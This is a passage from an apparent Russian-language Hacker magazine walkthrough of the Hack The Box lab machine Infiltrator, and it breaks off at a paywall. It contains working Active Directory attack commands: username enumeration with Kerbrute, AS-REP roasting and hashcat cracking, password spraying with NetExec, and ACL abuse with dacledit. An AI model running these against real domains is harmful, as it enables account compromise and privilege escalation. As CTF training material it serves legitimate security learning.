Мы про­ведем клас­сичес­кий сбор дан­ных в Active Directory и через цепоч­ку раз­решений ском­про­мети­руем учет­ную запись, с которой получим сес­сию на хос­те. Затем извле­чем дан­ные из мес­сен­дже­ра, вскро­ем при­ложе­ние на .NET и про­экс­плу­ати­руем пла­ниров­щик задач для получе­ния слу­жеб­ной учет­ной записи. Повысим при­виле­гии через тех­нику ESC4 для служ­бы ADCS.

На­ша цель — получе­ние прав супер­поль­зовате­ля на машине Infiltrator с учеб­ной пло­щад­ки Hack The Box. Уро­вень слож­ности задания — «безум­ный».

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся с при­мене­нием средств ано­ними­зации и вир­туали­зации. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.31 infiltrator.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

Ска­нер нашел 13 откры­тых пор­тов:

  • 80 (HTTP) — веб‑сер­вер Microsoft IIS/10.0;
  • 88 — Kerberos;
  • 135 — Microsoft RPC;
  • 139 — NetBIOS, NetLogon;
  • 389 — LDAP;
  • 445 — SMB;
  • 464 — служ­ба сме­ны пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — исполь­зует­ся в служ­бах DCOM и MS Exchange;
  • 636 — LDAP с шиф­ровани­ем SSL или TLS;
  • 3268 (LDAP) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру;
  • 3269 (LDAPS) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру через защищен­ное соеди­нение;
  • 3389 — служ­ба уда­лен­ного рабоче­го сто­ла;
  • 5985 — служ­ба уда­лен­ного управле­ния WinRM.

До­бавим в /etc/hosts еще и пол­ное имя машины, а затем нач­нем раз­ведку с изу­чения сай­та.

10.10.11.31 infiltrator.htb dc01.infiltrator.htb dc01
Главная страница сайта
Глав­ная стра­ница сай­та
 

Точка входа

На сай­те находим спи­сок сот­рудни­ков. Выписы­ваем их в отдель­ный файл.

Сотрудники компании
Сот­рудни­ки ком­пании

С помощью сле­дующе­го скрип­та мы можем сос­тавить спи­сок воз­можных учет­ных записей в домене.

import sys
if len(sys.argv)==1:
print("Usage: " + sys.argv[0] + " <usernames.txt>")
sys.exit(1)
names = open(sys.argv[1],"r").read().strip().split('\n')
list = []
for name in names:
n1, n2 = name.split(' ')
list.append(n1)
list.append(n1+n2)
list.append(n1+"."+n2)
list.append(n1+"-"+n2)
list.append(n1+"_"+n2)
list.append(n1+n2[0])
list.append(n1+"."+n2[0])
list.append(n1+"-"+n2[0])
list.append(n1+"_"+n2[0])
list.append(n2[0]+n1)
list.append(n2[0]+"."+n1)
list.append(n2[0]+"-"+n1)
list.append(n2[0]+"_"+n1)
list.append(n2)
list.append(n2+n1)
list.append(n2+"."+n1)
list.append(n2+"-"+n1)
list.append(n2+"_"+n1)
list.append(n2+n1[0])
list.append(n2+"."+n1[0])
list.append(n2+"-"+n1[0])
list.append(n2+"_"+n1[0])
list.append(n1[0]+n2)
list.append(n1[0]+"."+n2)
list.append(n1[0]+"-"+n2)
list.append(n1[0]+"_"+n2)
for n in list:
print(n)
python3 getusers.py team.txt > pos_users.txt

Те­перь мож­но исполь­зовать инс­тру­мент Kerbrute для опре­деле­ния учет­ных записей, которые реаль­но сущес­тву­ют в домене. Дело в том, что Kerberos воз­вра­щает раз­ные коды оши­бок для сущес­тву­ющей и несущес­тву­ющей учет­ных записей.

kerbrute_linux_amd64 userenum -d infiltrator.htb --dc dc01.infiltrator.htb pos_users.txt
Учетные записи в домене
Учет­ные записи в домене

Имея спи­сок дей­стви­тель­ных учет­ных записей, мож­но про­вес­ти ата­ку AS-REP Roasting. Если в UAC поль­зовате­ля уста­нов­лен флаг «Без пред­варитель­ной про­вер­ки под­линнос­ти Kerberos», то мы можем получить TGT-билет поль­зовате­ля без вер­ного пароля, а затем сбру­тить пароль офлайн.

GetNPUsers.py -dc-ip 10.10.11.31 infiltrator.htb/ -usersfile users.txt -no-pass
Проведение атаки AS-REP Roasting
Про­веде­ние ата­ки AS-REP Roasting

По­луча­ем хеш поль­зовате­ля L.Clark и можем его проб­рутить с помощью hashcat. Затем валиди­руем учет­ные дан­ные через NetExec.

hashcat hash.txt rockyou.txt
Результат подбора пароля
Ре­зуль­тат под­бора пароля
nxc smb 10.10.11.31 -u 'L.Clark' -p 'WAT?watismypass!'
Проверка учетных данных
Про­вер­ка учет­ных дан­ных

По­лучив валид­ные логин и пароль, собира­ем информа­цию из домена. Пер­вым делом получа­ем спи­сок всех поль­зовате­лей.

nxc smb 10.10.11.31 -u 'L.Clark' -p 'WAT?watismypass!' --users
Пользователи домена
Поль­зовате­ли домена

В опи­сании одной учет­ной записи есть стро­ка, похожая на пароль. Сох­раня­ем всех юзе­ров в файл и про­буем исполь­зовать най­ден­ную стро­ку как пароль для дру­гих акка­унтов.

nxc smb 10.10.11.31 -u users.txt -p passwords.txt --continue-on-success
Результат перебора
Ре­зуль­тат перебо­ра

На некото­рых учет­ных записях получа­ем ошиб­ку STATUS_ACCOUNT_RESTRICTION, а зна­чит, пов­торим перебор, но теперь с исполь­зовани­ем аутен­тифика­ции Kerberos.

nxc smb DC01.infiltrator.htb -u users.txt -p passwords.txt -k --continue-on-success
Результат перебора
Ре­зуль­тат перебо­ра

Ошиб­ка сме­нилась на KRB_AP_ERR_SKEW, а зна­чит, нам нуж­но син­хро­низи­ровать вре­мя на локаль­ной машине с сер­вером.

sudo timedatectl set-ntp false
sudo ntpdate -s 10.10.11.31
 

Точка опоры

У нас есть нес­коль­ко уче­ток, приш­ло вре­мя соб­рать базу дан­ных BloodHound. Для сбо­ра дан­ных с исполь­зовани­ем инс­тру­мен­тария под Linux нам нужен рабочий DNS-сер­вер, одна­ко иног­да до него мож­но не дос­тучать­ся. Поэто­му мы раз­вернем свой при помощи скрип­та DNSChef.

Справка: BloodHound

Ути­лита BloodHound исполь­зует теорию гра­фов для выяв­ления скры­тых и зачас­тую неп­редна­мерен­ных вза­имос­вязей в сре­де Active Directory. Ее мож­но исполь­зовать, что­бы лег­ко иден­тифици­ровать очень слож­ные пути ата­ки.

Пер­вым делом нам нуж­но соз­дать кон­фиг infiltrator.txt, в котором дол­жны быть стан­дар­тные для любого домена записи DNS.

[A]
*.infiltrator.htb=10.10.11.31
[SRV]
_ldap._tcp.pdc._msdcs.infiltrator.htb=0 5 389 infiltrator.htb
_ldap._tcp.gc._msdcs.infiltrator.htb=0 5 389 infiltrator.htb
_kerberos._tcp.dc._msdcs.infiltrator.htb=0 5 88 infiltrator.htb

За­тем отклю­чаем сис­темный резол­вер и запус­каем свой DNS-сер­вер.

sudo systemctl stop systemd-resolved
python3 dnschef.py --file ./infiltrator.txt
Запуск DNSChef
За­пуск DNSChef

За­тем исполь­зуем скрипт bloodhound-ce для сбо­ра дан­ных BloodHound. Пос­ле завер­шения работы скрип­та не забыва­ем отклю­чить DNSChef и сно­ва акти­виро­вать systemd-resolved.

python3 bloodhound.py -d 'infiltrator.htb' -u 'L.Clark' -p 'WAT?watismypass!' -c All -ns 127.0.0.1 -dc DC01.infiltrator.htb --use-ldap --zip --auth-method ntlm
sudo systemctl start systemd-resolved
Сбор данных BloodHound
Сбор дан­ных BloodHound

Стро­им граф от поль­зовате­ля D.ANDERSON.

Граф BloodHound
Граф BloodHound

Поль­зователь D.ANDERSON име­ет пра­во GenericAll на под­разде­ление MARKETING DIGITAL, где сос­тоит поль­зователь E.RODRIGUEZ. Это пра­во поз­воля­ет нам наз­начить любые пра­ва для всех чле­нов под­разде­ления. С помощью скрип­та dacledit из пакета Impacket даем поль­зовате­лю D.ANDERSON пол­ные пра­ва на всех чле­нов MARKETING DIGITAL.

dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson:WAT?watismypass!' -k -dc-ip 10.10.11.31
Назначение прав на подразделение
Наз­начение прав на под­разде­ление

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    1 Комментарий
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии